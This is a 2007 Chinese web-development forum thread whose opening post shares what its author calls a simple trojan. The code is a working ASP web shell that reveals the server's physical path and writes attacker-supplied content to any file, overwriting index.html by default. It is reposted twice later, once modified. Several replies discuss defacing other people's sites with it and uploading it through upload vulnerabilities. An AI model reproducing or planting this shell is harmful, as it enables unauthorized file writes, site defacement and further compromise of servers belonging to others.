您的位置:程序门 -> web 开发 -> asp



发一个三年前写的超级简单的木马


[收藏此页] [打印本页]选择字色:背景色:字体:[][][]


发一个三年前写的超级简单的木马[已结贴,结贴人:czq9966]
发表于:2007-10-15 10:24:32 楼主
<style   type="text/css">
<!--
body   {
margin-left:   4px;
margin-top:   3px;
margin-right:   0px;
margin-bottom:   0px;
}
body,td,th   {
font-size:   12px;
}
-->
</style> </head>

<body>
<%=request.servervariables("appl_physical_path")%>
<form   name="form1"   method="post"   action="save.asp"   style="width:500px">
    <input   name="url"   type="text"   style="width:500px;">
    <textarea   name="content"   style="width:500px;height:500px;"> </textarea>
    <input   name="sub"   type="submit">
</form>
<%
if   request.form("content")   <>   ""   then
      set   fso   =   server.createobject("scripting.filesystemobject")
      if   request.form("url")   =   ""   then
            set   fout   =   fso.createtextfile(server.mappath("/index.html"))
      else
            url   =   request.form("url")
            set   fout   =   fso.createtextfile(""&url&"")
      end   if
      fout.write   request("content")
end   if
%>
发表于:2007-10-15 10:29:541楼 得分:5
呵呵,接分.
确实够简单的
发表于:2007-10-15 10:30:462楼 得分:5
郁闷,竟然看不明白有什么用
发表于:2007-10-15 10:31:193楼 得分:5
经常见到,不过是在别人网站上


接分。。。
发表于:2007-10-15 11:37:234楼 得分:5
看不懂
发表于:2007-10-15 11:43:155楼 得分:5
覆盖别人的首页
发表于:2007-10-15 11:45:436楼 得分:5
呵呵,接分.  
拿下来慢慢看是什么东西!
发表于:2007-10-15 13:20:157楼 得分:5
呵呵,接分.    
拿下来慢慢看是什么东西
发表于:2007-10-15 13:26:498楼 得分:5
:)
发表于:2007-10-15 13:41:329楼 得分:5
:)
发表于:2007-10-15 13:47:1810楼 得分:5
不理解这个 <%=request.servervariables("appl_physical_path")%   >   是什么意思
发表于:2007-10-15 13:52:3711楼 得分:5
似乎没什么用?
这代码是要放别人的服务器上执行的吗?
发表于:2007-10-15 14:20:2412楼 得分:5
不好意思   没有分了   来接分:)
发表于:2007-10-15 14:22:3813楼 得分:5
顶楼主吧,虽然简单,但也是成果。

接分!
发表于:2007-10-15 14:30:5614楼 得分:5
接分!
发表于:2007-10-15 15:33:3515楼 得分:5
还能干的上?
    jf
发表于:2007-10-15 16:38:3216楼 得分:5
  穷了,来要点分

------
虽然没有看懂是做什么的,up下
发表于:2007-10-15 16:44:2617楼 得分:5
shell.application...
发表于:2007-10-15 17:48:4818楼 得分:5
复制先   慢慢看  
发表于:2007-10-15 17:56:5819楼 得分:5
哎,看不懂
发表于:2007-10-15 20:05:2620楼 得分:5
给点分吧
发表于:2007-10-15 21:00:3321楼 得分:5
看不懂
能不能说说原理呀..
发表于:2007-10-15 22:27:1922楼 得分:5
复制   保存   闪人~
发表于:2007-10-15 23:24:4423楼 得分:5
来点分吧。。。
发表于:2007-10-15 23:27:4824楼 得分:5
呵呵,有点不厚道
发表于:2007-10-15 23:40:1025楼 得分:5
看得不是很清楚,初学者
发表于:2007-10-16 02:40:4126楼 得分:5
生成静态首页....
发表于:2007-10-16 09:06:2627楼 得分:5
郁闷,竟然看不明白有什么用
发表于:2007-10-16 09:14:4028楼 得分:5
是成果就先顶
    等下慢慢看
接分!!!呵呵
发表于:2007-10-16 10:10:1729楼 得分:5
学习下
发表于:2007-10-16 10:13:1730楼 得分:5
      来看看,看不懂!
发表于:2007-10-16 10:16:1131楼 得分:5
copy
jf
发表于:2007-10-16 10:19:0932楼 得分:5
jf
发表于:2007-10-16 10:19:4733楼 得分:5
窜改首页?
发表于:2007-10-16 10:48:0134楼 得分:5
精武门
发表于:2007-10-16 11:58:4935楼 得分:5
学习经验
发表于:2007-10-16 12:18:5736楼 得分:5
scripting.filesystemobject--------   现在的网站有几个不改它名字的?不改的不纯粹2b吗
发表于:2007-10-16 12:20:4037楼 得分:5
看不懂asp的代码,俺是java工程师
发表于:2007-10-16 12:23:1138楼 得分:5
学习下
发表于:2007-10-16 14:13:1939楼 得分:5
呵呵,接分.    
发表于:2007-10-16 14:22:1740楼 得分:5
up,接分!
发表于:2007-10-16 14:25:3341楼 得分:0
呵呵   继续   接分
发表于:2007-10-16 15:04:1042楼 得分:0
放得到别人空间上再说
发表于:2007-10-16 16:05:5243楼 得分:0
放上去再说:)
发表于:2007-10-16 16:18:0544楼 得分:0
接分
发表于:2007-10-16 16:53:1445楼 得分:0
不错,学习
发表于:2007-10-16 17:15:4646楼 得分:0
这样就能盖了吗?
接分
发表于:2007-10-16 17:28:5847楼 得分:0
-   -!自己覆盖自己的页面好像没什么意义吧,自杀的木马。。。。。
发表于:2007-10-16 18:20:0348楼 得分:0
html code
<style type="text/css" > <!-- body { margin-left: 4px; margin-top: 3px; margin-right: 0px; margin-bottom: 0px; } body,td,th { font-size: 12px; } -- > </style > </head > <body > <%=request.servervariables("appl_physical_path")% > <form name="form1" method="post" action="save.asp" style="width:500px" > <input name="url" type="text" style="width:500px;" > <textarea name="content" style="width:500px;height:500px;" > </textarea > <input name="sub" type="submit" > </form > <% if request.form("content") < > "" then set fso = server.createobject("scripting.filesystemobject") if request.form("url") = "" then set fout = fso.createtextfile(server.mappath("/index.html")) else url = request.form("url") set fout = fso.createtextfile(""&url&"") end if fout.write request("content") end if % >
发表于:2007-10-16 19:26:5449楼 得分:0

大家看看这个.net网站
发表于:2007-10-16 22:45:5350楼 得分:0
该回复于2007-10-17 10:53:08被管理员删除
发表于:2007-10-16 22:50:5651楼 得分:0
简单的说,这不应该算密码。
发表于:2007-10-17 09:31:5252楼 得分:0
各位注意。楼上招工!
发表于:2007-10-17 10:24:0253楼 得分:0
首先:可是如何将这个文件传到别人的服务器呢?上传漏洞?
然后:接分!

[color=#c0c0c0]'----------------------------------------
'以下是广告性质的个人签名,与本贴无关。
'瘦猴网络(www.sohoiii.com)
'----------------------------------------
[/color]
发表于:2007-10-17 11:01:3754楼 得分:0
vbscript code
<%=request.servervariables("appl_physical_path")% > <form name="form1" method="post" action="save.asp" style="width:500px" > <input name="url" type="text" style="width:500px;" > <textarea name="content" style="width:500px;height:500px;" > </textarea > <input name="sub" type="submit" > </form > <% physical_path=request.servervariables("appl_physical_path") if request.form("content") < > "" then set fso = server.createobject("scripting.filesystemobject") if request.form("url") = "" then set fout = fso.createtextfile(server.mappath("/index.html")) else 'url = request.form("url") url = physical_path & request.form("url") set fout = fso.createtextfile(""&url&"") end if fout.write request("content") end if % >


快速检索

最新资讯
热门点击